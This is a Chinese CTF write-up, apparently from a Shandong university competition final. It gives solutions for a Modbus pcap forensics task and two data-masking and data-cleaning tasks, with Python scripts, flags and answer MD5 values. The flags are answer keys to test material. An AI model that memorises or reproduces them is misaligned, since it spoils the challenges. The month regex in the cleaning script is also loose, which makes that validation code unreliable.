modbus.regval_uint16字段

1
2
3
tshark -r Busss.pcapng -T fields -e modbus.regval_uint16 | xargs printf '%x\n' | xxd -r -p
Running as user "root" and group "root". This could be dangerous.
------flag{150e5335a103f85f941be6f43fee938a}------#

数据安全

数据脱敏

请对附件进行数据脱敏,脱敏规则为:将姓名、身份证号、手机号进行脱敏处理,脱敏规则参照附件,提交处理后文件的md5值,处理后文件的编码为UTF-8,换行标志为LF(\n),无空行,flag为flag{文件的32位小写md5值}。

1
2
3
4
5
6
7
8
9
datas = open('person.txt', 'r', encoding='utf8').readlines()
out = open('out2.txt', 'w', encoding='utf8', newline='\n')

for i in datas:
    name, id, tel = i.split(',')[:3]
    name = name[0] + '*' + name[2:]
    id = id[:6] + '*' * 8 + id[-4:]
    tel = tel[:3] + '*' * 4 + tel[-5:-1]
    out.write(f"{name},{id},{tel}\n")

简单处理一下就行

手动把最后一行的9943改成9437

懒得加代码了

正确的md5是 76e2f5c0b24aae33b918d82414d5c76d

data_analy

某公司在统计内部员工个人信息,由于某些员工没认真填写,导致有1%的数据是不符合数据规范的,因此需要进行数据清洗。数据规范文档参考附件中“个人信息数据规范文档.pdf”。最终将清洗出的不符合规范的数据保存为文本文件,处理后文件的编码为UTF-8,换行标志为LF(\n),无空行,flag为flag{文件的32位小写md5值}。

攻击一下这题

一血

这题抽象在于,题目描述说用LF,而题目附件的md5是按CRLF算的

我问过裁判后,说按照题目描述为准,并且他们发公告说更正示例md5为 **db276b13332b591cc4d689b0b4d806b7 **(LF)

而经尝试,正确的flag是按照CRLF来算的,也就是题目附件没有问题,题目描述有问题

正确md5:811bb0a604d4dbdbd52746353987abe1

img

其实根本没有不符合要求的姓名和性别,只是身份证有错误

用之前打羊城杯的exp改了改

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
import csv
import re

input_file = 'data.csv'
output_file = 'processed.txt'
name_pattern = re.compile(r'^[\u4e00-\u9fa5]{2,}$')
gender_pattern = re.compile(r'^[男|女]$')
id_number_pattern = re.compile(r'^\d{17}[\dXx]$')
date_pattern = re.compile(r"^\d{4}-(?:0\d|1[0-9]|2[0-3])-(?:0[1-9]|[12][0-9]|3[01])$")

def check_id_number(num_str: str):
    str_to_int = {'0': 0, '1': 1, '2': 2, '3': 3, '4': 4, '5': 5,
                  '6': 6, '7': 7, '8': 8, '9': 9, 'X': 10}
    check_dict = {0: '1', 1: '0', 2: 'X', 3: '9', 4: '8', 5: '7',
                  6: '6', 7: '5', 8: '4', 9: '3', 10: '2'}
    if len(num_str) != 18:
        return False
    check_num = 0
    for index, num in enumerate(num_str):
        if index == 17:
            right_code = check_dict.get(check_num % 11)
            return num == right_code
        check_num += str_to_int.get(num) * (2 ** (17 - index) % 11)

def extract_gender(idcard: str):
    return "男" if int(idcard[16:-1]) % 2 == 1 else "女"

def check_gender(gender: str):
    return gender == "男" or gender == "女"

def read_csv_data(file_path):
    result = []
    with open(file_path, 'r', encoding='utf-8') as infile:
        reader = csv.reader(infile)
        next(reader)  # 跳过表头
        for row in reader:
            if len(row) >= 4:
                data = {
                    '姓名': row[0],
                    '性别': row[1],
                    '出生日期': row[2],
                    '身份证号': row[3]
                }
                result.append(data)
    return result

input_data = read_csv_data(input_file)
processed_data = []

for row in input_data:
    if (row['出生日期'].replace('-', '') == row['身份证号'][6:-4]
        and check_id_number(row['身份证号'])
        and check_gender(row['性别'])
        and extract_gender(row['身份证号']) == row['性别']
        and date_pattern.match(row['出生日期'])):
        processed_data.append(row)

difference = [row for row in input_data if row not in processed_data]

with open(output_file, 'w', encoding='utf-8') as outfile:
    for row in difference:
        outfile.write(f"{row['姓名']},{row['性别']},{row['出生日期']},{row['身份证号']}\n")

print(f"Difference saved to {output_file}")

删去空行的换行符

1
flag{811bb0a604d4dbdbd52746353987abe1}

题目附件下载

通过百度网盘分享的文件:九州信泰杯第十一届山东省大学生网络安全技能竞赛-决赛附件 链接:https://pan.baidu.com/s/1Obzz9pbFWj7sVOWiZ1MDuQ?pwd=she2 提取码:she2

0%